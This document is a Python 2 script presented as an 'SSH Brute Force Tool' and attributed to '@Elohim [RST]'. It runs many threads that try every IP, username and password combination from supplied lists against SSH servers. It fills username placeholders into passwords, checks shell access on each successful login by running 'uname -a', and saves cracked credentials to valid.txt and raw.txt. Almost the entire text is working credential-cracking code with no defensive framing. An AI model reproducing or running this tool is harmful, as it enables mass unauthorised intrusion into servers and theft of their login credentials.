SSH Brute Force Tool [Python]

import paramiko, sys, Queue, threading

class SSHBrute(threading.Thread):
	def __init__(self, queue):
		threading.Thread.__init__(self)
		self.queue = queue
	def run(self):
		while True:
			ip,user,passwd = self.queue.get()
			self.kraken(ip,user,passwd)
			self.queue.task_done()

	def kraken(self,ip,user,passwd):
		try:
			if ip in cracked: return False

			if '%user%' in str(passwd):
				passwd = passwd.split("%")[0] + user + passwd.split("%")[2]
			if '%User%' in str(passwd):
				pwd = user + passwd.split("%")[2]
				passwd = passwd.split("%")[0]+pwd.title()
			if str(passwd) == '%null%':
				passwd = ''

			ssh = paramiko.SSHClient()
			ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
			ssh.connect(ip, username=user, password=passwd, timeout=35)
			raw.write(ip+' '+user+' '+passwd+'\n')
			raw.flush()
			chan = ssh.get_transport().open_session()
			chan.settimeout(35)
			chan.exec_command('uname -a')
			data = chan.recv(1024)

			if len(data) == 0:
				nologs.write(ip+' '+user+' '+passwd+'\n')
				nologs.flush()
				return False

			val.write(ip+' '+user+' '+passwd+'|'+data.rstrip()+'\n')
			val.flush()
			cracked.append(ip)
			chan.close()
			ssh.close()
			return True
		except Exception, e:
			if 'uthent' in str(e):
				if dbg == 'bad':
					bad.write(ip+'\n')
					bad.flush()
				#print '\r[+]Tried '+ip+' '+user+' '+passwd+' 				'
				ssh.close()
				return False
			#print ip, str(e)
			ssh.close()
			return False

def brutemain():
	if len(sys.argv) < 2:
		print """
	SSH Brute Force Tool
	Author: @Elohim [RST]
	Usage:
	   bruter ThreadNumber IpFile UserFile PassFile FilterSwitch*
	  *The filter Switch Takes Either the word "bad" or "no".
	   If you supply the word bad, it filters in bad.txt only the ips
	   which indeed support ssh AUTH and password didn't work"""
		return False
	ThreadNR = int(sys.argv[1])
	queue = Queue.Queue(maxsize=20000)
	try:
		i = 0
		for i in range(ThreadNR):
			t = SSHBrute(queue)
			t.daemon = True
			t.start()
			i += 1
	except Exception, e:
		print 'Cant start more than',i,'Threads!'

	global bad
	global val
	global nologs
	global cracked
	global raw
	cracked = []
	bad = open('bad.txt','w')
	val = open('valid.txt','a')
	nologs = open('nologins.txt','a')
	raw = open('raw.txt','a')
	with open(str(sys.argv[2]),'rU') as ipf: ips = ipf.read().splitlines()
	with open(str(sys.argv[3]),'rU') as uf: users = uf.read().splitlines()
	with open(str(sys.argv[4]),'rU') as pf: passwords = pf.read().splitlines()
	global dbg
	dbg = str(sys.argv[5])

	try:
		for password in passwords:
			for user in users:
				for ip in ips:
					queue.put((ip,user,password))
	except:
		pass

	queue.join()

if __name__ == "__main__":
	brutemain()